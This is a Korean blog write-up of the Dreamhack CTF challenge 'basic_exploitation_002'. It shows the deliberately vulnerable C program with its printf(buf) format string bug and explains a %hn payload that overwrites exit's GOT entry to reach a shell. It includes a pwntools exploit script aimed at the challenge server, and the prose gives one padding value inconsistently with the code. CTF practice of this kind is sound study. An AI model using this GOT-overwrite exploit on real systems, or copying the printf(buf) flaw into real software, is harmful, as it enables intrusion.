basic_explotation_002.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
코드의 마지막 부분을 보면 printf(buf)라는 코드가 있습니다. 원래라면 printf(%s,buf)처럼 코드를 작성해야 하지만 printf(buf) 처럼 코드를 작성해도 동작하기 때문에 이런 부분을 놓치는 개발자들이 있습니다. 문제점은 이와 같은 코드 작성은 포맷스트링 취약점을 불러올 수 있다는 것입니다.
문제 풀이법은 다음과 같습니다. exit 함수의 ret 위치에 get_shell의 시작주소를 덮어씌우는 것입니다. gdb로 확인할 결과 get_shell의 시작주소는 0x08048609, exit_got의 위치는 0x804a024입니다.
exit 함수에 get_shell 주소를 넘겨주기 위해서 0x08048609 주소 값을 넘겨줘야하지만 0x804a024의 값은 너무 크므로 0x0804와 0x8609 값으로 나눠서 넘겨주겠습니다. 페이로드는 아래와 같습니다.
payload = p32(exit+2) + p32(exit) + "%2044c%1$hn%32261c%2$hn"
exit+2 부분에 0x0804, exit 부분에 0x8609를 넘겨주면
exit 주소 offset -> 7 6 5 4 3 2 1 0
0x /0 8 /0 4 /8 6 /0 9
위와 같은 형태로 주소값이 넘어가게 됩니다. 원리는 다음과 같습니다. 2044는 16진수로 (0x804 - 0x8)이고 0x804에서 8을 빼주는 이유는 p32(exit+2) + p32(exit) 부분 문자열 길이가 8바이트이기 때문에 p32(exit+2) + p32(exit) 부터 "%c2044c" 까지 조합하면 문자 개수는 총 2060으로 0x804가 됩니다. 다음으로 %1$hn은 4바이트를 넘길 경우에는 %n만 입력해도 되지만 2바이트씩 넘기므로 half 약자인 h를 붙여서 %hn이 되고 1$의 의미는 첫번째 주소를 의미합니다. 첫번째 주소는 페이로드에서 p32(exit+2) 부분이 됩니다. 왜 첫번째 주소가 p32(exit+2)를 가르키는지 아래에서 설명하겠습니다.
위 그림은 입력값으로 aaaabbbb%x%x%x%x을 입력한 결과이다. 첫번째 주소 %x는 현재 esp에서 4바이트 떨어진 주소에 있는 값을 가르키게 되는데 61616161을 출력하므로 처음에 입력한 aaaa가 저장된 주소에서 가져오는걸 알 수 있습니다. 예를 들어 첫번째 %x는 esp+4에 있는 값을 가져오고 두번째 %x는 esp+8에 있는 값을 가져오는 식으로 동작합니다. 즉 첫번째 주소가 정확히 어디를 가르키는지 알기 위해서는 esp위치를 알아내야하지만 방금 전과 같이 aaaabbbb%x%x 같이 몇가지 실험을 하면 esp를 몰라도 첫번째 주소가 무엇을 가르키는지 쉽게 알아낼 수 있습니다.
payload = p32(exit+2) + p32(exit) + "%2044c%1$hn%32261c%2$hn"
다시 정리하면 현재 첫번째 주소는 p32(exit+2), 두번째 주소는 p32(exit)임을 실험을 통해 알 수 있었고 %2044c는 문자열 길이를 0x804로 만들기 위해 입력하였고 %1$hn은 첫번째 주소에 지금까지 문자열 길이를 삽입합니다. %32661c는 문자열 길이를 0x8609로 만들기 위해 입력하였고 %2$hn은 두번째 주소에 지금까지 문자열 길이를 삽입하면 exit got는 get_shell을 가르키게 되고 쉘을 획득할 수 있습니다.
exploit.py
from pwn import*
p = remote("host1.dreamhack.games", 12860)
context.log_level='debug'
#get_shell=0x08048609
exit_got = 0x804a024
payload = p32(exit_got+2) + p32(exit_got) + b"%2044c%1$hn%32261c%2$hn"
p.send(payload)
p.interactive()
'시스템 해킹 > 드림핵' 카테고리의 다른 글
[Dreamhack] memory_leakage (0) | 2021.07.19 |
---|---|
[Dreamhack] out_of_bound (0) | 2021.07.18 |
[Dreamhack] sint (0) | 2021.07.15 |
[Dreamhack] basic_exploitation_003 (0) | 2021.05.22 |
[Dreamhack] oneshot (0) | 2021.05.11 |
댓글